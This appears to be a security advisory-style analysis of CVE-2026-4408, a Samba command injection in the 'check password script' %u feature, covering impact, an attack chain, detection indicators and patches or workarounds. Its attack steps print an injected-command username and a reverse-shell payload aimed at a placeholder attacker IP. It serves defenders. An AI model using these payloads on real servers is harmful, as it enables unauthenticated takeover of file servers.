CVE-2026-4408: 
Samba vulnerability analysis and mitigation

CVE-2026-4408 is an OS command injection vulnerability in Samba that allows unauthenticated remote attackers to execute arbitrary commands on affected systems. The flaw exists in Samba file servers and classic (non-AD) domain controllers that use the "check password script" feature configured with the %u substitution character, causing client-controlled usernames to be passed to the script without proper shell meta-character escaping. Affected versions span Samba 4.1.0 through 4.20.x (fixed in 4.21.0), and the vulnerability also affects Red Hat Enterprise Linux 6, 7, 9, and OpenShift Container Platform 4. It was disclosed on May 28, 2026, with a CVSS v3.1 base score of 9.8 (Critical) per NVD, and 9.0 (Critical) per Red Hat (Github Advisory, Red Hat Bugzilla).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where Samba's SamValidatePasswordChange and SamValidatePasswordReset RPC services — exposed via the SAMR DCE/RPC service over NCACN_IP_TCP — pass a client-supplied username to the configured "check password script" without sanitizing shell meta-characters when the %u substitution token is used (Red Hat Bugzilla). Exploitation requires two non-default conditions: (1) the smb.conf must configure check password script with %u, and (2) the samba-dcerpcd service must be running as a standalone system service (i.e., rpc start on demand helpers = no). In the default DCE/RPC configuration, smbd starts samba-dcerpcd in a mode that makes the vulnerable code path inaccessible. Active Directory Domain Controllers are not affected, as they do not expand usernames via %u (Red Hat Bugzilla, Github Advisory).

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary OS commands on the affected Samba server with the privileges of the samba-dcerpcd service process, resulting in full compromise of confidentiality, integrity, and availability. This could enable an attacker to read sensitive files, modify data, install backdoors, or use the compromised server as a pivot point for lateral movement within the network. File servers and classic domain controllers in enterprise environments are the primary at-risk assets (Red Hat Bugzilla, Github Advisory).

1. Reconnaissance: Identify Samba file servers or classic domain controllers exposed on the network, particularly those with TCP port 445 or DCE/RPC ports open. Use tools like Nmap or Shodan to locate Samba instances running versions 4.1.0–4.20.x.
2. Verify configuration: Determine whether the target has check password script configured with %u in smb.conf, and whether samba-dcerpcd is running as a standalone system service (i.e., rpc start on demand helpers = no). This may be inferred from service enumeration or prior access to configuration files.
3. Craft malicious username: Construct a username string containing shell meta-characters and an injected command payload (e.g., ; id > /tmp/pwned # or a reverse shell payload such as ; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 #).
4. Send SAMR RPC request: Use an SMB/DCE-RPC client (e.g., impacket's samr.py or a custom script) to call SamValidatePasswordChange or SamValidatePasswordReset over NCACN_IP_TCP, supplying the crafted username as the account name parameter.
5. Achieve command execution: The Samba server passes the unsanitized username to the shell script, executing the injected command with the privileges of the samba-dcerpcd service, potentially yielding a reverse shell or other attacker-controlled outcome (Red Hat Bugzilla).

• Network: Unexpected inbound DCE/RPC connections to Samba servers on TCP port 135 or dynamic RPC ports from external or untrusted hosts; outbound connections from the Samba server to unknown external IPs (potential reverse shell activity).
• Logs: Samba logs (/var/log/samba/) showing SamValidatePasswordChange or SamValidatePasswordReset RPC calls with usernames containing shell special characters (;, |, &, `, $, (, )).
• Process: Unexpected child processes spawned by samba-dcerpcd or smbd, such as /bin/bash, sh, curl, wget, nc, or python; unusual processes running under the Samba service account.
• File System: New or modified files in /tmp, /var/tmp, or Samba share directories created by the Samba service account; presence of web shells, cron jobs, or SSH authorized keys added by the service account.

Upgrade to Samba 4.21.0 or later, which contains the fix for this vulnerability (Github Advisory). Red Hat has issued patches via RHSA-2026:22644 (RHEL 8) and RHSA-2026:22963 (RHEL 10) (Red Hat Bugzilla). If immediate patching is not possible, apply one or more of the following workarounds: (1) remove or disable the check password script directive in smb.conf; (2) ensure the script does not use the %u substitution character; (3) set rpc start on demand helpers = yes (the default) to prevent samba-dcerpcd from running as a standalone system service, which blocks the vulnerable code path. Wrapping %u in single quotes (e.g., '%u') reduces but does not eliminate risk, as option injection may still be possible.

Security media outlet The Hacker Wire covered the vulnerability, highlighting the misconfigured "check password script" as the root cause of the remote command execution risk (The Hacker Wire). SecurityOnline.info noted the vulnerability in the context of critical Samba security releases (SecurityOnline). The Samba project published a security release announcement covering the fix (Samba News). Community discussion on platforms such as Mastodon and LinkedIn was moderate, with security researchers noting the non-default configuration requirement as a significant mitigating factor limiting real-world exposure.